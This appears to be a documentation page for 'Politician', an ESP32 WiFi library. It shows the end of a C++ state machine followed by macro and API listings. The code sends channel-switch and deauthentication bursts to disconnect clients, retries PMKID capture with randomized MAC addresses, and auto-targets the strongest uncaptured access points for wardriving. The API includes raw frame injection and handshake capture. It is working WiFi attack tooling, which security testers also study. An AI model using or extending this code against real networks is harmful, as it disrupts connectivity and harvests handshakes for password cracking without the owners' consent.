1962 if (_fishState == FISH_IDLE) return;
1963 if (_fishState == FISH_CSA_WAIT) {
1964 if (_isCaptured(_fishBssid)) { _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[CSA] Captured!\n"); if (_autoTarget) { clearTarget(); _autoTargetActive = false; } return; }
1965
1966 if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK && _csaFallbackMs > 0 && millis() >= _csaFallbackMs) {
1967 _csaFallbackMs = 0;
1968 const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1969 _sendDeauthBurst(_cfg.csa_deauth_count, known_sta2);
1970 _log("[Attack] CSA fallback triggered — sending Deauth burst\n");
1971 }
1972
1973 if (!_csaSecondBurstSent && (millis() - _fishStartMs > 2000)) {
1974 _csaSecondBurstSent = true;
1975 if (_attackMask & ATTACK_CSA) _sendCsaBurst();
1976 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
1977 const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1978 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst(_cfg.csa_deauth_count, known_sta2);
1979 }
1980 _log("[CSA] Burst 2\n");
1981 }
1982 if (millis() >= _probeLockEndMs) {
1983 _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis();
1984 _stats.failed_csa++;
1985 _log("[CSA] Wait expired\n");
1986 if (_attackResultCb) {
1987 AttackResultRecord r; memset(&r, 0, sizeof(r));
1988 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
1989 r.result = RESULT_CSA_EXPIRED; _attackResultCb(r);
1990 }
1991 if (_cfg.max_total_attempts > 0) {
1992 for (int i = 0; i < MAX_AP_CACHE; i++) {
1993 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
1994 if (++_apCache[i].total_attempts >= _cfg.max_total_attempts) {
1995 _markCaptured(_fishBssid);
1996 _log("[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
1997 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
1998 }
1999 break;
2000 }
2001 }
2002 }
2003 if (_autoTarget) { clearTarget(); _autoTargetActive = false; }
2004 }
2005 return;
2006 }
2007 if (_isCaptured(_fishBssid)) { esp_wifi_disconnect(); _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis(); _log("[Fish] Captured!\n"); if (_autoTarget) { clearTarget(); _autoTargetActive = false; } return; }
2008 if (millis() >= _probeLockEndMs) {
2009 esp_wifi_disconnect();
2010 if (_fishRetry < _cfg.fish_max_retries) {
2011 _fishRetry++; _log("[Fish] Timeout retry %d\n", _fishRetry); _randomizeMac();
2012 _probeLockEndMs = millis() + _cfg.fish_timeout_ms; _fishAuthLogged = false; _fishAssocLogged = false; esp_wifi_connect(); return;
2013 }
2014 if (_attackMask & ATTACK_CSA) {
2015 _log("[Attack] Switching to CSA\n"); esp_wifi_set_channel(_fishChannel, WIFI_SECOND_CHAN_NONE);
2016 memset(_fishSta, 0, 6); // No known STA from PMKID path
2017 _csaFallbackMs = 0;
2018 _sendCsaBurst();
2019 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
2020 if (_attackMask & ATTACK_DEAUTH) _sendDeauthBurst(_cfg.csa_deauth_count);
2021 } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
2022 if ((_attackMask & ATTACK_CSA) && (_attackMask & ATTACK_DEAUTH)) {
2023 // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
2024 _csaFallbackMs = millis() + 1000;
2025 } else if (_attackMask & ATTACK_DEAUTH) {
2026 _sendDeauthBurst(_cfg.csa_deauth_count);
2027 }
2028 }
2029 _fishState = FISH_CSA_WAIT; _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms; _csaSecondBurstSent = false;
2030 } else {
2031 _fishState = FISH_IDLE; _probeLocked = false; _lastHopMs = millis();
2032 _stats.failed_pmkid++;
2033 _log("[Fish] Exhausted\n");
2034 if (_attackResultCb) {
2035 AttackResultRecord r; memset(&r, 0, sizeof(r));
2036 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
2037 r.result = RESULT_PMKID_EXHAUSTED; _attackResultCb(r);
2038 }
2039 if (_cfg.max_total_attempts > 0) {
2040 for (int i = 0; i < MAX_AP_CACHE; i++) {
2041 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2042 if (++_apCache[i].total_attempts >= _cfg.max_total_attempts) {
2043 _markCaptured(_fishBssid);
2044 _log("[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
2045 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2046 }
2047 break;
2048 }
2049 }
2050 }
2051 if (_autoTarget) { clearTarget(); _autoTargetActive = false; }
2052 }
2053 }
2054}
2055
2056} // namespace politician
#define CAP_EAPOL_HALF
#define LOG_FILTER_PROBE_REQ
#define ATTACK_PMKID
#define CAP_SAE
#define LOG_FILTER_BEACONS
#define ATTACK_DEAUTH
#define LOG_FILTER_HANDSHAKES
#define ATTACK_STIMULATE
#define LOG_FILTER_PROBES
#define CAP_EAPOL_GROUP
#define ATTACK_PASSIVE
#define CAP_EAPOL_CSA
#define CAP_EAPOL
#define LOG_FILTER_MGMT_DISRUPT
#define ATTACK_CSA
#define ATTACK_ALL
#define CAP_PMKID
#define EAPOL_KEY_DATA_LEN
Definition Politician.h:76
#define FC_FROMDS_MASK
Definition Politician.h:49
#define MGMT_SUB_PROBE_RESP
Definition Politician.h:58
#define MGMT_SUB_BEACON
Definition Politician.h:59
#define MGMT_SUB_DEAUTH
Definition Politician.h:62
#define MGMT_SUB_ASSOC_RESP
Definition Politician.h:56
#define EAPOL_MIN_FRAME_LEN
Definition Politician.h:69
#define MGMT_SUB_ASSOC_REQ
Definition Politician.h:55
#define EAPOL_ETHERTYPE_HI
Definition Politician.h:66
#define POLITICIAN_MAX_CHANNELS
Definition Politician.h:26
#define EAPOL_ETHERTYPE_LO
Definition Politician.h:67
#define FC_TYPE_MASK
Definition Politician.h:46
#define EAPOL_KEY_NONCE
Definition Politician.h:74
#define EAPOL_KEY_INFO
Definition Politician.h:72
#define KEYINFO_SECURE
Definition Politician.h:83
#define EAPOL_KEY_MIC
Definition Politician.h:75
#define FC_TYPE_DATA
Definition Politician.h:52
#define EAPOL_KEY_DESC_TYPE
Definition Politician.h:71
#define EAPOL_LLC_SIZE
Definition Politician.h:68
#define KEYINFO_PAIRWISE
Definition Politician.h:80
#define KEYINFO_ACK
Definition Politician.h:81
#define KEYINFO_MIC
Definition Politician.h:82
#define EAPOL_REPLAY_COUNTER
Definition Politician.h:73
#define FC_SUBTYPE_MASK
Definition Politician.h:47
#define MGMT_SUB_DISASSOC
Definition Politician.h:61
#define EAPOL_KEY_DATA
Definition Politician.h:77
#define FC_TYPE_MGMT
Definition Politician.h:50
#define FC_TODS_MASK
Definition Politician.h:48
#define FC_ORDER_MASK
Definition Politician.h:53
#define MGMT_SUB_AUTH
Definition Politician.h:60
#define MGMT_SUB_PROBE_REQ
Definition Politician.h:57
#define KEYINFO_INSTALL
Definition Politician.h:84
The core WiFi handshake capturing engine.
Definition Politician.h:91
void stop()
Full engine teardown.
Error lockChannel(uint8_t ch)
Stops hopping and locks the radio to a specific channel.
void clearCapturedList()
Clears the captured BSSID list.
void markCaptured(const uint8_t *bssid)
Manually adds a BSSID to the "already captured" list to skip it.
static const char * getVendor(const uint8_t *mac)
Looks up the vendor name for a given MAC address (OUI).
Error injectCustomFrame(const uint8_t *payload, size_t len, uint8_t channel, uint32_t lock_ms=0, bool wait_for_channel=false)
Injects a custom 802.11 frame.
bool getClient(const uint8_t *bssid, int idx, uint8_t out_sta[6]) const
Reads a client MAC from the per-AP client table.
void clearAttackMaskOverrides()
Clears all per-BSSID attack mask overrides.
void setAutoTarget(bool enable)
Continuously locks onto the strongest uncaptured AP in the cache.
int getClientCount(const uint8_t *bssid) const
Returns the number of unique clients seen associated to a given AP.
void tick()
Main worker method.
Error setTargetBySsid(const char *ssid)
Searches the AP cache by SSID and locks onto the strongest match.
void setActive(bool active)
Enables or disables frame processing.
void setChannelBands(bool ghz24, bool ghz5)
Restricts hopping to 2.4GHz, 5GHz, or both bands.
void stopHopping()
Stops autonomous channel hopping and goes idle.
void setAttackMaskForBssid(const uint8_t *bssid, uint8_t mask)
Overrides the attack mask for a specific BSSID.
void setIgnoreList(const uint8_t(*bssids)[6], uint8_t count)
Sets a list of BSSIDs that should always be ignored by the engine.
Error setTarget(const uint8_t *bssid, uint8_t channel)
Focuses the engine on a single BSSID.
Error setChannel(uint8_t ch)
Manually sets the WiFi radio to a specific channel.
bool getApByBssid(const uint8_t *bssid, ApRecord &out) const
Looks up an AP in the discovery cache by BSSID.
void clearTarget()
Clears the specific target and resumes autonomous wardriving.
bool getAp(int idx, ApRecord &out) const
Reads an AP from the discovery cache by index.
Error begin(const Config &cfg=Config())
Initializes the WiFi driver in promiscuous mode.
void startHopping(uint16_t dwellMs=0)
Starts autonomous channel hopping.
void setAttackMask(uint8_t mask)
Configures which attack techniques are enabled globally.
void setChannelList(const uint8_t *channels, uint8_t count)
Restricts hopping to a specific list of channels.
static const BuiltinOui _FP_OUI_DB[]
static const char *const _FP_VENDORS[]
uint16_t channel_frames[14]
uint32_t probe_hidden_interval_ms
uint16_t probe_aggr_interval_s
static const uint8_t CHANNEL_5GHZ_COMMON[]
volatile uint32_t dropped
static bool isValidChannel(uint8_t ch)
Snapshot of a discovered Access Point from the internal cache.
Configuration for the Politician engine.
void delay(uint32_t ms)
uint32_t millis()